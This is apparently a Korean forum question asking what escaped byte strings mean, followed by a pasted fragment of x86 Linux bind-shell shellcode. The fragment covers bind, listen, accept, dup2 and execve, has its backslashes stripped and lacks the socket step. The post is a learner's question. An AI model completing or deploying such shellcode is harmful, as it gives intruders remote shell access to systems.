다른것 아니고요..이런것은 무엇을 나타내는건가요?
WxebWx7b 이런식으로 된거 졸라 많잖아요..근데..무엇을 나타내는건지..ㅠ.ㅠ
모르겟어요..
############################################################################################
/* int $0x80 */ // 2 - 25
/* bind() */
"x43" /* incl %ebx */ // 1 - 26
"xc6x46x10x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30
"x66x89x5ex14" /* movw %bx, 0x14(%esi) */ // 4 - 34
"x88x46x08" /* movb %al, 0x08(%esi) */ // 3 - 37
"x29xc0" /* subl %eax, %eax */ // 2 - 39
"x89xc2" /* movl %eax, %edx */ // 2 - 41
"x89x46x18" /* movl %eax, 0x18(%esi) */ // 3 - 44
"xb0x90" /* movb $0x90, %al */ // 2 - 46
"x66x89x46x16" /* movw %ax, 0x16(%esi) */ // 4 - 50
"x8dx4ex14" /* leal 0x14(%esi), %ecx */ // 3 - 53
"x89x4ex0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56
"x8dx4ex08" /* leal 0x08(%esi), %ecx */ // 3 - 59
// 2 jump + 1 + 5 free + 1
"xb0x66" /* movb $0x66, %al */ // 2 - 61
"xcdx80" /* int $0x80 */ // 2 - 2
/* listen() */
"x89x5ex0c" /* movl %ebx, 0x0c(%esi) */
"x43" /* incl %ebx */
"x43" /* incl %ebx */
"xb0x66" /* movb $0x66, %al */
"xcdx80" /* int $0x80 */
/* accept() */
"x89x56x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 5
"x89x56x10" /* movl %edx, 0x10(%esi) */ // 3 - 8
"xb0x66" /* movb $0x66, %al */ // 2 - 10
"x43" /* incl %ebx */ // 1 - 11
"xcdx80" /* int $0x80 */ // 1 - 12
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3" /* xchgb %al, %bl */ // 2 - 14
"xb0x3f" /* movb $0x3f, %al */ // 2 - 16
"x29xc9" /* subl %ecx, %ecx */ // 2 - 18
"xcdx80" /* int $0x80 */ // 2 - 20
"xb0x3f" /* movb $0x3f, %al */ // 2 - 22
"x41" /* incl %ecx */ // 1 - 23
"xcdx80" /* int $0x80 */ // 2 - 25
"xb0x3f" /* movb $0x3f, %al */ // 2 - 27
"x41" /* incl %ecx */ // 1 - 28
"xcdx80" /* int $0x80 */ // 2 - 30
/* execve() */
"x88x56x07" /* movb %dl, 0x07(%esi) */ // 3 - 33
"x89x76x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 36
"x87xf3" /* xchgl %esi, %ebx */ // 2 - 38
"x8dx4bx0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 41
"xb0x0b" /* movb $0x0b, %al */ // 2 - 44
"xcdx80" /* int $0x80 */ // 2 = 46
"x90x90x90x90x90x90x90"